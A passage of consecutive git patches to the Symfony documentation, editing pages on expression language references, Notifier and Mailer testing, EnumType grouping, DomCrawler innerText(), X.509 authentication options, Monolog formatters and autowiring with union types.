--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -71,7 +71,7 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
                 ->args([expr("service('App\\\\Mail\\\\MailerConfiguration').getMailerMethod()")]);
         };
 
-To learn more about the expression language syntax, see :doc:`/components/expression_language/syntax`.
+To learn more about the expression language syntax, see :ref:`expression-language-syntax`.
 
 In this context, you have access to 2 functions:
 

From 3062a153b640ce6fbd1966ff7a064830e1609621 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Jan 2023 10:42:38 +0100
Subject: [PATCH 4101/7107] Minor tweaks

---
 reference/constraints/Expression.rst      | 15 +++++----------
 routing.rst                               |  6 +++---
 security/expressions.rst                  |  6 ++----
 service_container/expression_language.rst |  2 +-
 4 files changed, 11 insertions(+), 18 deletions(-)

diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 3a75b98bb40..9af9b3ff0ea 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -139,9 +139,8 @@ One way to accomplish this is with the Expression constraint:
         }
 
 The :ref:`expression <reference-constraint-expression-option>` option is the
-expression that must return true in order for validation to pass. To learn
-more about the expression language syntax, see
-:ref:`expression-language-syntax`.
+expression that must return true in order for validation to pass. Learn more
+about the :ref:`expression language syntax <expression-language-syntax>`.
 
 .. sidebar:: Mapping the Error to a Specific Field
 
@@ -262,14 +261,10 @@ Options
 **type**: ``string`` [:ref:`default option <validation-default-option>`]
 
 The expression that will be evaluated. If the expression evaluates to a false
-value (using ``==``, not ``===``), validation will fail.
+value (using ``==``, not ``===``), validation will fail. Learn more about the
+:ref:`expression language syntax <expression-language-syntax>`.
 
-To learn more about the expression language syntax, see
-:ref:`expression-language-syntax`.
-
-Inside of the expression, you have access to up to 2 variables:
-
-Depending on how you use the constraint, you have access to 1 or 2 variables
+Depending on how you use the constraint, you have access to different variables
 in your expression:
 
 * ``this``: The object being validated (e.g. an instance of BlogPost);
diff --git a/routing.rst b/routing.rst
index 560d61040cb..cd3ec6d2c76 100644
--- a/routing.rst
+++ b/routing.rst
@@ -414,9 +414,9 @@ arbitrary matching logic:
             ;
         };
 
-The value of the ``condition`` option is any valid :ref:`ExpressionLanguage
-expression <expression-language-syntax>` and can use any of these variables
-created by Symfony:
+The value of the ``condition`` option is an expression using any valid
+:ref:`expression language syntax <expression-language-syntax>` and can use any
+of these variables created by Symfony:
 
 ``context``
     An instance of :class:`Symfony\\Component\\Routing\\RequestContext`,
diff --git a/security/expressions.rst b/security/expressions.rst
index 85767ff6a60..afec9ac30b1 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -36,12 +36,10 @@ user object's ``isSuperAdmin()`` method returns ``true``, then access will
 be granted (note: your User object may not have an ``isSuperAdmin()`` method,
 that method is invented for this example).
 
-This uses an expression and you can learn more about the expression language
-syntax, see :ref:`expression-language-syntax`.
-
 .. _security-expression-variables:
 
-Inside the expression, you have access to a number of variables:
+The security expression must use any valid :ref:`expression language syntax <expression-language-syntax>`
+and can use any of these variables created by Symfony:
 
 ``user``
     The user object (or the string ``anon`` if you're not authenticated).
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index b70e27ad0dc..53b1524b762 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -71,7 +71,7 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
                 ->args([expr("service('App\\\\Mail\\\\MailerConfiguration').getMailerMethod()")]);
         };
 
-To learn more about the expression language syntax, see :ref:`expression-language-syntax`.
+Learn more about the :ref:`expression language syntax <expression-language-syntax>`.
 
 In this context, you have access to 2 functions:
 

From 8583932e0080744be1ead4141a0e9fccb6299b15 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Wed, 11 Jan 2023 18:23:40 +0100
Subject: [PATCH 4102/7107] [Notifier] add notification assertion in notifier
 doc

---
 notifier.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index bff9af3d7c6..a2980ff5be5 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -759,6 +759,19 @@ typical alert levels, which you can implement immediately using:
             ;
         };
 
+Testing Notifier
+----------------
+
+Symfony provides a :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\NotificationAssertionsTrait`
+which provide useful methods for testing your Notifier implementation.
+You can benefit from this class by using it directly or extending the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`.
+
+See :ref:`testing documentation <notifier-assertions>` for the list of available assertions.
+
+.. versionadded:: 6.2
+
+    The :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\NotificationAssertionsTrait` was introduced in Symfony 6.2.
+
 Disabling Delivery
 ------------------
 

From 3e960bc0b7d267164ecf8dff749ee7b1ba4d71b1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 12 Jan 2023 13:33:30 +0100
Subject: [PATCH 4103/7107] Minor

---
 notifier.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index a2980ff5be5..588b8e408e1 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -764,13 +764,15 @@ Testing Notifier
 
 Symfony provides a :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\NotificationAssertionsTrait`
 which provide useful methods for testing your Notifier implementation.
-You can benefit from this class by using it directly or extending the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`.
+You can benefit from this class by using it directly or extending the
+:class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`.
 
 See :ref:`testing documentation <notifier-assertions>` for the list of available assertions.
 
 .. versionadded:: 6.2
 
-    The :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\NotificationAssertionsTrait` was introduced in Symfony 6.2.
+    The :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\NotificationAssertionsTrait`
+    was introduced in Symfony 6.2.
 
 Disabling Delivery
 ------------------

From 96ff886797f447673551fb47b4563cc4d69ced69 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Thu, 12 Jan 2023 17:34:53 +0100
Subject: [PATCH 4104/7107] update mailer testing documentation

---
 mailer.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 0cf1dc2a34c..cf838c8af8f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1534,21 +1534,21 @@ Write a Functional Test
 ~~~~~~~~~~~~~~~~~~~~~~~
 
 To functionally test that an email was sent, and even assert the email content or headers,
-you can use the built in assertions::
+you can use the built in assertions provided by :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`.
+
+See :ref:`testing documentation <mailer-assertions>` for the list of available assertions.::
 
     // tests/Controller/MailControllerTest.php
     namespace App\Tests\Controller;
 
-    use Symfony\Bundle\FrameworkBundle\Test\MailerAssertionsTrait;
     use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
 
     class MailControllerTest extends WebTestCase
     {
-        use MailerAssertionsTrait;
 
         public function testMailIsSentAndContentIsOk()
         {
-            $client = $this->createClient();
+            $client = static::createClient();
             $client->request('GET', '/mail/send');
             $this->assertResponseIsSuccessful();
 

From 32e93ba84dfcd3c5537855c1c567ac8638b8f200 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 10 Jan 2023 20:31:50 +0100
Subject: [PATCH 4105/7107] [Form] Add `group_by` option for EnumType

---
 reference/forms/types/enum.rst | 53 ++++++++++++++++++++++++++++++++++
 1 file changed, 53 insertions(+)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 63bca396c4b..c8bd18d2c04 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -92,6 +92,59 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 .. include:: /reference/forms/types/options/expanded.rst.inc
 
+``group_by``
+~~~~~~~~~~~~
+
+**type**: ``string`` or ``callable`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath` **default**: ``null``
+
+You can group the ``<option>`` elements of a ``<select>`` into ``<optgroup>``
+by passing a multi-dimensional array to ``choices``. See the
+:ref:`Grouping Options <form-choices-simple-grouping>` section about that.
+
+The ``group_by`` option is an alternative way to group choices, which gives you
+a bit more flexibility.
+
+Let's add a few cases to our ``TextAlign`` enumeration::
+
+    // src/Config/TextAlign.php
+    namespace App\Config;
+
+    enum TextAlign: string
+    {
+        case UpperLeft = 'Upper Left aligned';
+        case LowerLeft = 'Lower Left aligned';
+
+        case Center = 'Center aligned';
+
+        case UpperRight = 'Upper Right aligned';
+        case LowerRight = 'Lower Right aligned';
+    }
+
+We can now group choices by the enum case value::
+
+    use App\Config\TextAlign;
+    use Symfony\Component\Form\Extension\Core\Type\EnumType;
+    // ...
+
+    $builder->add('alignment', EnumType::class, [
+        'class' => TextAlign::class,
+        'group_by' => function(TextAlign $choice, int $key, string $value): ?string {
+            if (str_starts_with($value, 'Upper')) {
+                return 'Upper';
+            }
+
+            if (str_starts_with($value, 'Lower')) {
+                return 'Lower';
+            }
+
+            return 'Other';
+        }
+    ]);
+
+This callback will group choices in 3 categories: ``Upper``, ``Lower`` and ``Other``.
+
+If you return ``null``, the option won't be grouped.
+
 .. include:: /reference/forms/types/options/multiple.rst.inc
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc

From 4e51357906288b320d3ce4d0ba2fc8c62dea9b6b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micka=C3=ABl?= <mickael.bourgier@gmail.com>
Date: Thu, 12 Jan 2023 17:58:23 +0100
Subject: [PATCH 4106/7107] Fix empty_data option description of TextareaType

---
 reference/forms/types/textarea.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index 3e0ac8e0db9..329c91731b4 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -35,7 +35,9 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
-The default value is ``''`` (the empty string).
+From an HTTP perspective, submitted data is always a string or an array of strings.
+So by default, the form will treat any empty string as null. If you prefer to get
+an empty string, explicitly set the ``empty_data`` option to an empty string.
 
 .. include:: /reference/forms/types/options/empty_data_description.rst.inc
 

From e5047eeab8607901fffd14dace1eab9b716ffd74 Mon Sep 17 00:00:00 2001
From: otsch <otsch@users.noreply.github.com>
Date: Thu, 12 Jan 2023 21:12:36 +0100
Subject: [PATCH 4107/7107] Adapt docs for Crawler::innerText()

According to the changes from
https://github.com/symfony/symfony/pull/48940
---
 components/dom_crawler.rst | 18 +++++++++++++-----
 1 file changed, 13 insertions(+), 5 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 709f3d86981..6f1558d82a4 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -221,16 +221,24 @@ Access the value of the first node of the current selection::
     // avoid the exception passing an argument that text() returns when node does not exist
     $message = $crawler->filterXPath('//body/p')->text('Default text content');
 
-    // by default, text() trims white spaces, including the internal ones
+    // by default, text() trims whitespace characters, including the internal ones
     // (e.g. "  foo\n  bar    baz \n " is returned as "foo bar baz")
     // pass FALSE as the second argument to return the original text unchanged
     $crawler->filterXPath('//body/p')->text('Default text content', false);
 
-    // innerText() is similar to text() but only returns the text that is
-    // the direct descendant of the current node, excluding any child nodes
+    // innerText() is similar to text() but returns only text that is a direct
+    // descendant of the current node, excluding text from child nodes
     $text = $crawler->filterXPath('//body/p')->innerText();
-    // if content is <p>Foo <span>Bar</span></p>
-    // innerText() returns 'Foo' and text() returns 'Foo Bar'
+    // if content is <p>Foo <span>Bar</span></p> or <p><span>Bar</span> Foo</p>
+    // innerText() returns 'Foo' and text() returns 'Foo Bar' respectively 'Bar Foo'
+
+    // if there are multiple text nodes, between other child nodes, like
+    // <p>Foo <span>Bar</span> Baz</p>
+    // innerText() returns only the first text node 'Foo'
+
+    // like text(), innerText() also trims whitespace characters by default,
+    // but you can get the unchanged text by passing FALSE as argument
+    $text = $crawler->filterXPath('//body/p')->innerText(false);
 
 Access the attribute value of the first node of the current selection::
 

From 9bc26d15e64853b4e15062f6833f72d438128f6e Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Fri, 13 Jan 2023 00:10:30 +0100
Subject: [PATCH 4108/7107] remove QueuingMessageEvent from documentation

---
 mailer.rst | 51 ++++++++-------------------------------------------
 1 file changed, 8 insertions(+), 43 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 7c8ab512493..3f3c5870278 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1480,9 +1480,16 @@ the email is sent::
         if (!$message instanceof Email) {
             return;
         }
-        // do something with the message
+        // do something with the message (logging, ...)
+
+        // and/or add some Messenger stamps
+        $event->addStamp(new SomeMessengerStamp());
     }
 
+.. versionadded:: 6.2
+
+    Methods ``addStamp()`` and ``getStamps()`` were introduced in Symfony 6.2.
+
 .. tip::
 
     When using a ``MessageEvent`` listener to
@@ -1497,48 +1504,6 @@ and their priorities:
 
     $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\MessageEvent"
 
-QueuingMessageEvent
-~~~~~~~~~~~~~~~~~~~
-
-**Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\QueuingMessageEvent`
-
-.. versionadded:: 6.2
-
-    The ``QueuingMessageEvent`` class was introduced in Symfony 6.2.
-
-``QueuingMessageEvent`` allows to add some logic before the email is sent to
-the Messenger bus (this event is not dispatched when no bus is configured); it
-extends ``MessageEvent`` to allow adding Messenger stamps to the Messenger
-message sent to the bus::
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\Mailer\Event\QueuingMessageEvent;
-    use Symfony\Component\Mime\Email;
-
-    public function onMessage(QueuingMessageEvent $event): void
-    {
-        $message = $event->getMessage();
-        if (!$message instanceof Email) {
-            return;
-        }
-        // do something with the message (logging, ...)
-
-        // and/or add some Messenger stamps
-        $event->addStamp(new SomeMessengerStamp());
-    }
-
-This event lets listeners do something before a message is sent to the queue
-(like adding stamps or logging) but any changes to the message or the envelope
-are discarded. To change the message or the envelope, listen to
-``MessageEvent`` instead.
-
-Execute this command to find out which listeners are registered for this event
-and their priorities:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\QueuingMessageEvent"
-
 SentMessageEvent
 ~~~~~~~~~~~~~~~~
 

From 71febc1eb4105c0aea2f292aea15750d5a9c0ecf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my?= <babeuloula@gmail.com>
Date: Fri, 13 Jan 2023 11:33:52 +0100
Subject: [PATCH 4109/7107] Fix issue #17731

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 280a5f9b6df..bde2a8a900c 100644
--- a/templates.rst
+++ b/templates.rst
@@ -707,7 +707,7 @@ First, make sure that the VarDumper component is installed in the application:
 
 .. code-block:: terminal
 
-    $ composer require --dev symfony/var-dumper
+    $ composer require --dev symfony/debug-bundle
 
 Then, use either the ``{% dump %}`` tag or the ``{{ dump() }}`` function
 depending on your needs:

From f2dc408055367f8652595c8bc80927ed8929a1a7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Jan 2023 12:08:09 +0100
Subject: [PATCH 4110/7107] Add the versionadded directive

---
 components/dom_crawler.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 6f1558d82a4..45988af8cef 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -230,7 +230,7 @@ Access the value of the first node of the current selection::
     // descendant of the current node, excluding text from child nodes
     $text = $crawler->filterXPath('//body/p')->innerText();
     // if content is <p>Foo <span>Bar</span></p> or <p><span>Bar</span> Foo</p>
-    // innerText() returns 'Foo' and text() returns 'Foo Bar' respectively 'Bar Foo'
+    // innerText() returns 'Foo' in both cases; and text() returns 'Foo Bar' and 'Bar Foo' respectively
 
     // if there are multiple text nodes, between other child nodes, like
     // <p>Foo <span>Bar</span> Baz</p>
@@ -240,6 +240,11 @@ Access the value of the first node of the current selection::
     // but you can get the unchanged text by passing FALSE as argument
     $text = $crawler->filterXPath('//body/p')->innerText(false);
 
+.. versionadded:: 6.3
+
+    The removal of whitespace characters by default in ``innerText()`` was
+    introduced in Symfony 6.3.
+
 Access the attribute value of the first node of the current selection::
 
     $class = $crawler->filterXPath('//body/p')->attr('class');

From 90768b16c76c8eb03bf510b3b073180f7e081906 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Jan 2023 12:39:16 +0100
Subject: [PATCH 4111/7107] Minor reword

---
 mailer.rst  | 10 +++++-----
 testing.rst |  2 ++
 2 files changed, 7 insertions(+), 5 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index cf838c8af8f..96aafab79af 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1533,10 +1533,11 @@ a specific address, instead of the *real* address:
 Write a Functional Test
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-To functionally test that an email was sent, and even assert the email content or headers,
-you can use the built in assertions provided by :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`.
-
-See :ref:`testing documentation <mailer-assertions>` for the list of available assertions.::
+Symfony provides lots of :ref:`built-in mailer assertions <mailer-assertions>`
+to functionally test that an email was sent, its contents or headers, etc.
+They are available in test classes extending
+:class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase` or when using
+the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 
     // tests/Controller/MailControllerTest.php
     namespace App\Tests\Controller;
@@ -1545,7 +1546,6 @@ See :ref:`testing documentation <mailer-assertions>` for the list of available a
 
     class MailControllerTest extends WebTestCase
     {
-
         public function testMailIsSentAndContentIsOk()
         {
             $client = static::createClient();
diff --git a/testing.rst b/testing.rst
index 8f1b7692ca2..0e13ce5a49d 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1061,6 +1061,8 @@ Crawler Assertions
     ``assertFormValue()`` and ``assertNoFormValue()`` methods were introduced
     in Symfony 5.2.
 
+.. _mailer-assertions:
+
 Mailer Assertions
 .................
 

From d9c9a94c734d48c2b6b14942ff1ac8302e79d185 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 6 Jan 2023 17:12:59 +0100
Subject: [PATCH 4112/7107] Shortening the list to make it more scanable

---
 configuration.rst | 19 ++++++++++---------
 1 file changed, 10 insertions(+), 9 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index d88b72ad3af..fdf078f832b 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -347,7 +347,7 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
 .. note::
 
     If some parameter value includes the ``%`` character, you need to escape it
-    by adding another ``%`` so Symfony doesn't consider it a reference to a
+    by adding another ``%``, so Symfony doesn't consider it a reference to a
     parameter name:
 
     .. configuration-block::
@@ -409,17 +409,18 @@ The files stored in ``config/packages/`` are used by Symfony to configure the
 the application behavior by changing which configuration files are loaded.
 That's the idea of Symfony's **configuration environments**.
 
-A typical Symfony application begins with three environments: ``dev`` (for local
-development), ``prod`` (for production servers) and ``test`` (for
-:doc:`automated tests </testing>`). When running the application, Symfony loads
+A typical Symfony application begins with three environments:
+* ``dev`` for local development,
+* ``prod`` for production servers,
+* ``test`` for :doc:`automated tests </testing>`.
+When running the application, Symfony loads
 the configuration files in this order (the last files can override the values
 set in the previous ones):
 
-#. ``config/packages/*.yaml`` (and ``*.xml`` and ``*.php`` files too);
-#. ``config/packages/<environment-name>/*.yaml`` (and ``*.xml`` and ``*.php`` files too);
-#. ``config/services.yaml`` (and ``services.xml`` and ``services.php`` files too);
-#. ``config/services_<environment-name>.yaml`` (and ``services_<environment-name>.xml``
-   and ``services_<environment-name>.php`` files too).
+#. The files in ``config/packages/*.<extension>``;
+#. the files in ``config/packages/<environment-name>/*.<extension>``;
+#. ``config/services.<extension>``;
+#. ``config/services_<environment-name>.<extension>``.
 
 Take the ``framework`` package, installed by default, as an example:
 

From 362f0276614eedc64411637392798795b795a5e8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Jan 2023 16:46:39 +0100
Subject: [PATCH 4113/7107] Minor tweak

---
 configuration.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 27e673e7ea5..03a297d0bb0 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -409,12 +409,13 @@ the application behavior by changing which configuration files are loaded.
 That's the idea of Symfony's **configuration environments**.
 
 A typical Symfony application begins with three environments:
+
 * ``dev`` for local development,
 * ``prod`` for production servers,
 * ``test`` for :doc:`automated tests </testing>`.
-When running the application, Symfony loads
-the configuration files in this order (the last files can override the values
-set in the previous ones):
+
+When running the application, Symfony loads the configuration files in this
+order (the last files can override the values set in the previous ones):
 
 #. The files in ``config/packages/*.<extension>``;
 #. the files in ``config/packages/<environment-name>/*.<extension>``;

From e1bd56968ec191611666ac9a8b0d04633c146a29 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Jan 2023 17:33:42 +0100
Subject: [PATCH 4114/7107] Tweak

---
 reference/configuration/security.rst | 26 ++++++++++++++++----------
 security.rst                         |  4 ++--
 2 files changed, 18 insertions(+), 12 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 865c5e4b267..10365ab21bf 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -663,9 +663,9 @@ X.509 Authentication
                 main:
                     # ...
                     x509:
-                        provider:    your_user_provider
-                        user:        SSL_CLIENT_S_DN_Email
-                        credentials: SSL_CLIENT_S_DN
+                        provider:        your_user_provider
+                        user:            SSL_CLIENT_S_DN_Email
+                        credentials:     SSL_CLIENT_S_DN
                         user_identifier: emailAddress
 
     .. code-block:: xml
@@ -705,7 +705,7 @@ X.509 Authentication
                 ->provider('your_user_provider')
                 ->user('SSL_CLIENT_S_DN_Email')
                 ->credentials('SSL_CLIENT_S_DN')
-                ->user_identifier('emailAddress')
+                ->userIdentifier('emailAddress')
             ;
         };
 
@@ -726,18 +726,24 @@ If the ``user`` parameter is not available, the name of the ``$_SERVER``
 parameter containing the full "distinguished name" of the certificate
 (exposed by e.g. Nginx).
 
-By default, Symfony identifies the value following ``emailAddress=`` in this parameter.
-This can be changed using the ``user_identifier`` parameter.
+By default, Symfony identifies the value following ``emailAddress=`` in this
+parameter. This can be changed using the ``user_identifier`` option.
 
 user_identifier
-...........
+...............
 
 **type**: ``string`` **default**: ``emailAddress``
 
-The ``user_identifier`` parameter is used to find the user identifier in the
-"distinguished name" e.g. ``Subject: C=FR, O=My Organization, CN=user1, emailAddress=user1@myorg.fr``.
+.. versionadded:: 6.3
+
+    The ``user_identifier`` option was introduced in Symfony 6.3.
+
+The value of this option tells Symfony which parameter to use to find the user
+identifier in the "distinguished name".
 
-By setting this parameter to ``CN``, the returned user identifier will be the "Common Name" ``user1``
+For example, if the "distinguished name" is
+``Subject: C=FR, O=My Organization, CN=user1, emailAddress=user1@myorg.fr``,
+and the value of this option is ``'CN'``, the user identifier will be ``'user1'``.
 
 .. _reference-security-firewall-remote-user:
 
diff --git a/security.rst b/security.rst
index 0501a4c1ff3..ae8c0bd7cd8 100644
--- a/security.rst
+++ b/security.rst
@@ -1316,8 +1316,8 @@ ways:
 #. If it is not set (e.g. when using Nginx), it uses ``SSL_CLIENT_S_DN`` and
    matches the value following ``emailAddress``.
 
-You can customize the name of the three parameters under the ``x509`` key.
-See :ref:`the configuration reference <reference-security-firewall-x509>`
+You can customize the name of some parameters under the ``x509`` key.
+See :ref:`the x509 configuration reference <reference-security-firewall-x509>`
 for more details.
 
 Remote Users

From 57fae2a796cabeef1dfcce238d9d0248cf5ead96 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 13 Jan 2023 18:50:48 +0100
Subject: [PATCH 4115/7107] [Form] Add missing imports in unmapped fields
 example

---
 forms.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/forms.rst b/forms.rst
index 8d39df0a113..6d234b482a1 100644
--- a/forms.rst
+++ b/forms.rst
@@ -968,6 +968,8 @@ example to add an *"I agree with these terms"* checkbox), set the ``mapped``
 option to ``false`` in those fields::
 
     // ...
+    use Symfony\Component\Form\Extension\Core\Type\CheckboxType;
+    use Symfony\Component\Form\Extension\Core\Type\SubmitType;
     use Symfony\Component\Form\FormBuilderInterface;
 
     class TaskType extends AbstractType

From 1c730a418042c7049ce0a4b341eabc8a34ad4fde Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 14 Jan 2023 16:57:44 +0100
Subject: [PATCH 4116/7107] [Monolog] List available built-in formatters

---
 logging/formatter.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/logging/formatter.rst b/logging/formatter.rst
index 737b0b86a5f..ffddbd1ed72 100644
--- a/logging/formatter.rst
+++ b/logging/formatter.rst
@@ -55,3 +55,17 @@ configure your handler to use it:
                 ->formatter('monolog.formatter.json')
             ;
         };
+
+Many built-in formatters are available in Monolog. A lot of them are declared as services
+and can be used in the ``formatter`` option:
+
+* ``monolog.formatter.chrome_php``: formats a record according to the ChromePHP array format
+* ``monolog.formatter.gelf_message``: serializes a format to GELF format
+* ``monolog.formatter.html``: formats a record into an HTML table
+* ``monolog.formatter.json``: serializes a record into a JSON object
+* ``monolog.formatter.line``: formats a record into a one-line string
+* ``monolog.formatter.loggly``: formats a record information into JSON in a format compatible with Loggly
+* ``monolog.formatter.logstash``: serializes a record to Logstash Event Format
+* ``monolog.formatter.normalizer``: normalizes a record to remove objects/resources so it's easier to dump to various targets
+* ``monolog.formatter.scalar``: formats a record into an associative array of scalar (+ null) values (objects and arrays will be JSON encoded)
+* ``monolog.formatter.wildfire``: serializes a record according to Wildfire's header requirements

From 5a3409f2ccd90a16de74f157dbced6ce13bd328f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 14 Jan 2023 20:08:05 +0100
Subject: [PATCH 4117/7107] Fix blank space typo

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 03a297d0bb0..52109426ceb 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -57,7 +57,7 @@ Configuration Formats
 ~~~~~~~~~~~~~~~~~~~~~
 
 Unlike other frameworks, Symfony doesn't impose a specific format on you to
-configure your applications, but lets you choose between YAML, XML and PHP. 
+configure your applications, but lets you choose between YAML, XML and PHP.
 Throughout the Symfony documentation, all configuration examples will be
 shown in these three formats.
 

From 6c5ce231e66682e55c09831d45c543ddc77b4b32 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 14 Jan 2023 20:56:18 +0100
Subject: [PATCH 4118/7107] [DependencyInjection] Autowire union and
 intersection types

---
 service_container/autowiring.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 084f37587a2..86010b94bc9 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -374,6 +374,30 @@ dealing with the ``TransformerInterface``.
     discovered that implements an interface, configuring the alias is not mandatory
     and Symfony will automatically create one.
 
+.. tip::
+
+    Autowiring is powerful enough to guess which service to inject even when using
+    union and intersection types. This means you're able to type-hint argument with
+    complex types like this::
+
+        use Symfony\Component\Serializer\Normalizer\DenormalizerInterface;
+        use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
+        use Symfony\Component\Serializer\SerializerInterface;
+
+        class DataFormatter
+        {
+            public function __construct((NormalizerInterface&DenormalizerInterface)|SerializerInterface $transformer)
+            {
+                // ...
+            }
+
+            // ...
+        }
+
+.. versionadded:: 5.4
+
+    The support of union and intersection types was introduced in Symfony 5.4.
+
 Dealing with Multiple Implementations of the Same Type
 ------------------------------------------------------
 

From 92e5997b1c37c5224e68c6ef5c5ba562fcb57fec Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 14 Jan 2023 09:52:33 +0100
Subject: [PATCH 4119/7107] [Notifier] Fix typo OneSignal DSN

---
 notifier.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 040723bf6d9..4455fb563dc 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -38,7 +38,7 @@ The notifier component supports the following channels:
   services like Slack and Telegram;
 * :ref:`Email channel <notifier-email-channel>` integrates the :doc:`Symfony Mailer </mailer>`;
 * Browser channel uses :ref:`flash messages <flash-messages>`.
-* Push Channel sends notifications to phones and browsers via push notifications.
+* :ref:`Push channel <notifier-push-channel>` sends notifications to phones and browsers via push notifications.
 
 .. tip::
 
@@ -339,6 +339,8 @@ notification emails:
             ;
         };
 
+.. _notifier-push-channel:
+
 Push Channel
